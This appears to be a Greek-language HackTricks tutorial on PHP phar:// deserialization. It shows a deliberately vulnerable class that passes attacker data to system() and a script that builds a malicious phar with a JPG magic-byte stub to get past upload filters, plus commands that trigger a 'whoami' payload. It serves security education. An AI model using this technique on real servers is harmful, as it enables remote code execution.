phar:// deserialization

Reading time: 3 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Phar αρχεία (PHP Archive) περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή, έτσι, όταν αναλυθούν, αυτά τα μεταδεδομένα αποσειριοποιούνται και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια αποσειριοποίησης μέσα στον PHP κώδικα.

Το καλύτερο πράγμα σχετικά με αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας συναρτήσεις PHP που δεν εκτελούν κώδικα PHP όπως file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize().

Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε έναν PHP ιστό να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο phar://, και μέσα στον κώδικα βρίσκετε μια κλάση παρόμοια με την εξής:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Μπορείτε να δημιουργήσετε ένα phar αρχείο που όταν φορτωθεί θα καταχραστεί αυτή την κλάση για να εκτελέσει αυθαίρετες εντολές με κάτι όπως:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Σημειώστε πώς τα μαγικά bytes του JPG (\xff\xd8\xff) προστίθενται στην αρχή του αρχείου phar για να παρακαμφθούν οι πιθανές περιορισμοί ανέβασμα αρχείων.
Συγκεντρώστε το αρχείο test.phar με:

bash
php --define phar.readonly=0 create_phar.php

Και εκτελέστε την εντολή whoami εκμεταλλευόμενοι τον ευάλωτο κώδικα με:

bash
php vuln.php

Αναφορές

https://blog.ripstech.com/2018/new-php-exploitation-technique/

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks